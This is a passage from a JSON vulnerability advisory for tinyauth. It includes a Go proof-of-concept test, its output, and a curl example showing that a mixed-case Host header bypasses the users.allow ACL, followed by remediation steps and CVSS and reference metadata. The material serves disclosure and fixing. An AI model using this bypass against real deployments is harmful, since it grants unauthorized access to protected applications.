config.AppConfig{\n\t\t\t\tDomain: \"immich.example.com\",\n\t\t\t},\n\t\t\tUsers: config.AppUsers{\n\t\t\t\tAllow: \"admin\",\n\t\t\t},\n\t\t},\n\t}\n\n\t// bob is a legitimately-authenticated low-privileged user. He is NOT in\n\t// immich's users.allow list.\n\tbobCtx := func(c *gin.Context) {\n\t\tc.Set(\"context\", &config.UserContext{\n\t\t\tUsername:   \"bob\",\n\t\t\tName:       \"Bob\",\n\t\t\tEmail:      \"bob@example.com\",\n\t\t\tIsLoggedIn: true,\n\t\t\tProvider:   \"local\",\n\t\t})\n\t\tc.Next()\n\t}\n\n\t// Shared services (mirrors the project's own proxy_controller_test.go).\n\tapp := bootstrap.NewBootstrapApp(config.Config{})\n\tdb, err := app.SetupDatabase(path.Join(tempDir, \"tinyauth.db\"))\n\trequire.NoError(t, err)\n\tdefer func() { _ = db.Close() }()\n\n\tqueries := repository.New(db)\n\n\tdocker := service.NewDockerService()\n\trequire.NoError(t, docker.Init())\n\n\tldap := service.NewLdapService(service.LdapServiceConfig{})\n\trequire.NoError(t, ldap.Init())\n\n\tbroker := service.NewOAuthBrokerService(make(map[string]config.OAuthServiceConfig))\n\trequire.NoError(t, broker.Init())\n\n\tauthService := service.NewAuthService(authServiceCfg, docker, ldap, queries, broker)\n\trequire.NoError(t, authService.Init())\n\n\taclsService := service.NewAccessControlsService(docker, acls)\n\n\tnewRouter := func() *gin.Engine {\n\t\tgin.SetMode(gin.TestMode)\n\t\trouter := gin.New()\n\t\trouter.Use(bobCtx)\n\t\tgroup := router.Group(\"/api\")\n\t\tpc := controller.NewProxyController(controllerCfg, group, aclsService, authService)\n\t\tpc.SetupRoutes()\n\t\treturn router\n\t}\n\n\tforwardAuth := func(host string) *httptest.ResponseRecorder {\n\t\trec := httptest.NewRecorder()\n\t\treq := httptest.NewRequest(\"GET\", \"/api/auth/traefik\", nil)\n\t\treq.Header.Set(\"x-forwarded-host\", host)\n\t\treq.Header.Set(\"x-forwarded-proto\", \"https\")\n\t\treq.Header.Set(\"x-forwarded-uri\", \"/\")\n\t\tnewRouter().ServeHTTP(rec, req)\n\t\treturn rec\n\t}\n\n\t// 1. Control: exact-case host -> ACL is found, bob is NOT in users.allow -> 403.\n\tlower := forwardAuth(\"immich.example.com\")\n\tt.Logf(\"[control]  x-forwarded-host=immich.example.com  -> %d  remote-user=%q\", lower.Code, lower.Header().Get(\"Remote-User\"))\n\tassert.Equal(t, 403, lower.Code, \"boundary must block bob at the exact-case host\")\n\n\t// 2. Bypass: upper-case host -> ACL lookup misses (case-sensitive ==),\n\t//    empty App fail-open -> 200 Authenticated + Remote-User leaks bob.\n\tupper := forwardAuth(\"IMMICH.example.com\")\n\tt.Logf(\"[BYPASS]   x-forwarded-host=IMMICH.example.com  -> %d  remote-user=%q\", upper.Code, upper.Header().Get(\"Remote-User\"))\n\n\trequire.Equalf(t, 200, upper.Code, \"expected the mixed-case host to bypass the users.allow ACL\")\n\trequire.Equalf(t, \"bob\", upper.Header().Get(\"Remote-User\"), \"tinyauth authorized bob for immich across the ACL boundary\")\n}\n```\n\nObserved output (v5.0.7; trimmed to the two decisive log lines):\n\n```text\n=== RUN   TestForwardAuthHostCaseACLBypass\n... access_controls_service.go: Found matching container by domain  name=immich\n... proxy_controller.go: User not allowed to access resource  resource=immich user=bob\n    zzz_poc_test.go: [control]  x-forwarded-host=immich.example.com  -> 403  remote-user=\"\"\n... access_controls_service.go: Falling back to Docker labels for ACLs\n... docker_service.go: Docker not connected, returning empty labels\n    zzz_poc_test.go: [BYPASS]   x-forwarded-host=IMMICH.example.com  -> 200  remote-user=\"bob\"\n--- PASS: TestForwardAuthHostCaseACLBypass (0.06s)\nPASS\nok  \tgithub.com/steveiliop56/tinyauth/internal/controller\t0.067s\n```\n\nThe control request (`immich.example.com`) finds the ACL and correctly returns `403` for bob; the identical request with an upper-cased host (`IMMICH.example.com`) misses the ACL, falls back to the empty App, and returns `200 Authenticated` with `Remote-User: bob`. In a live deployment the identical effect is reached over HTTP by requesting the protected app with a mixed-case `Host` header, e.g. `curl -H 'Host: IMMICH.example.com' https://<proxy>/` with bob's session cookie — the proxy routes it to immich and forwards the mixed-case host to tinyauth, which authorizes bob.\n\n## Remediation\n\n- **Canonicalize the host before the ACL decision.** Lower-case (and strip any trailing dot / port from) the forwarded host in `getForwardAuthContext` / `getAuthRequestContext` / `getExtAuthzContext`, and store both the ACL `apps` keys and each `config.domain` / label domain lower-cased, so the lookup is case-insensitive. Equivalently, compare with `strings.EqualFold`. This closes the case, trailing-dot, and port-variant encodings in one place.\n- **Fail closed on an ACL miss.** `GetAccessControls` / `GetLabels` should distinguish \"no ACL configured for this host\" from \"empty ACL that allows everyone.\" When no app matches the requested host, the forward-auth handler should not authorize a user by defaulting to an empty allow-all `App`; it should apply a deny-by-default (or an explicit, documented default policy) rather than returning `config.App{}, nil`. Returning an all-empty `App` as the fallback is the fail-open that turns the lookup miss into an authorization bypass.\n- Add a regression test asserting that a user excluded by `users.allow` is still `403` when the same host is supplied in mixed case, with a trailing dot, and with an added port.\n\nPlease credit 5ud0 / Tarmo Technologies.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/tinyauthapp/tinyauth"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.1-0.20260720133915-80bc87188ec3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinyauthapp/tinyauth/security/advisories/GHSA-328g-jx67-v94g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-77560"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinyauthapp/tinyauth/pull/1000"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinyauthapp/tinyauth/pull/1028"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinyauthapp/tinyauth/commit/80bc87188ec3aabc5104c249eaa7b997973b9275"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinyauthapp/tinyauth/commit/e75605b2c534ec83525a33603e16d76baca13399"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinyauthapp/tinyauth"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinyauthapp/tinyauth/releases/tag/v5.1.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-178", "CWE-636", "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:37:08Z",
    "nvd_published_at" : "2026-09-21T17:18:52Z"
  }
}